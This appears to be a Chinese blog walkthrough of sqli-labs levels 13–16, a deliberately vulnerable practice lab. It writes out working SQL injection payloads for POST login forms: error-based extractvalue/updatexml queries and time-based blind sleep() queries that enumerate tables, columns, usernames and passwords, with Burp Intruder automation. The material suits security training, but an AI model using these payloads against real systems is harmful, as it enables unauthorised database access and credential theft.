当前位置: 首页 > news >正文

SQL-labs13-16闯关记录

http://127.0.0.1/sqli-labs/less-13/

基于POST单引号双注入变形

1,依然是一个登录框,POST型SQL注入

2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件

admin' 发生了报错,根据提示闭合方式是('')

admin') # 不发生报错,说明闭合方式正是('')

3,然后就是判断数据表的列数

admin') order by 2 #

admin') order by 3 #

说数据表不存在第三列,那么数据表就只有两列

4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名

1')and updatexml(1,concat(0x7e,(select database())),3)#

1')and extractvalue(1,concat(0x7e,(select database())),3)#

再爆出数据库下数据表名

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

然后再爆出用户名和密码

1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

这个时候就可以直接拿intruder模块进行爆破了

偏移量作为变量,字典选择0-9

爆破出password也是同样的操作

http://192.168.99.74/sqli-labs/less-14/

第十四关 基于POST双引号双注入变形

payload:

admin"

admin" order by 2#

admin" order by 3#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

http://192.168.99.74/sqli-labs/less-15/

第十五关 基于POST数值型注入

本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and

password='$passwd' LIMIT 0,1";

sql查询语句这里对 id 进行'id'的处理。

本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。

猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):

uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

字典选取1-9

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

由此根据排列payload1的顺序就能得到数据库名

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

得到第一个用户名Dumb,同理可得,由此爆破出密码

uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

http://192.168.99.74/sqli-labs/Less-16/

同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):

admin and if (1=1,sleep(5),0)

admin' and if (1=1,sleep(5),0)

admin') and if (1=1,sleep(5),0)

admin" and if (1=1,sleep(5),0)

admin")and if(1=1,sleep(5),0)

所以语句的闭合方式就是("admin"),区别于less-15

判断数据库名长度为8

uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

相关文章:

  • LeetCode-Hot100-008无重复最长子串
  • 111. 二叉树的最小深度
  • ESP32之Flash操作
  • 数字人分身/123数字人/数字人直播
  • [51 单片机] --串口编程
  • 【华为OD机考】华为OD笔试真题解析(17)--打印文件
  • 2025-03-04 学习记录--C/C++-PTA 习题5-4 使用函数求素数和
  • 手动调整3DTiles倾斜模型的高度、位置、亮度
  • MWC 2025 | 紫光展锐联合移远通信推出全面支持R16特性的5G模组RG620UA-EU
  • HTML label 标签使用
  • 基于微信小程序的心理健康恢复系统+LW示例参考
  • 用DeepSeeker写小说构思 《故事大纲、主线、剧情风格》
  • 无人机遥控器无线传输技术解析!
  • 如何在随机振动分析中包括缓冲器
  • 【MySQL】与MongoDB的区别,字符集,三范式,存储引擎InnoDB、MyISAM
  • 【C++设计模式】第三篇:抽象工厂模式(Abstract Factory)
  • MySQL JOIN 与子查询深度对比:原理、性能陷阱与优化策略
  • 【C++学习篇】智能指针
  • 七、Redis 内存管理详解:模型、优化策略(LRU/LFU、对象共享)
  • 从零开始学 Node.js:完整安装与实战指南
  • php企业网站模板免费下载/网络运营需要学什么
  • 基因网站开发/志鸿优化设计
  • 贪便宜网站/网络广告策划书模板范文
  • 郑州优之客网站建设/企业网站的推广形式有
  • 公司网站域名注册可以用个人身份证吗/软文写作什么意思
  • 域名 去掉wordpress/网络优化的基本方法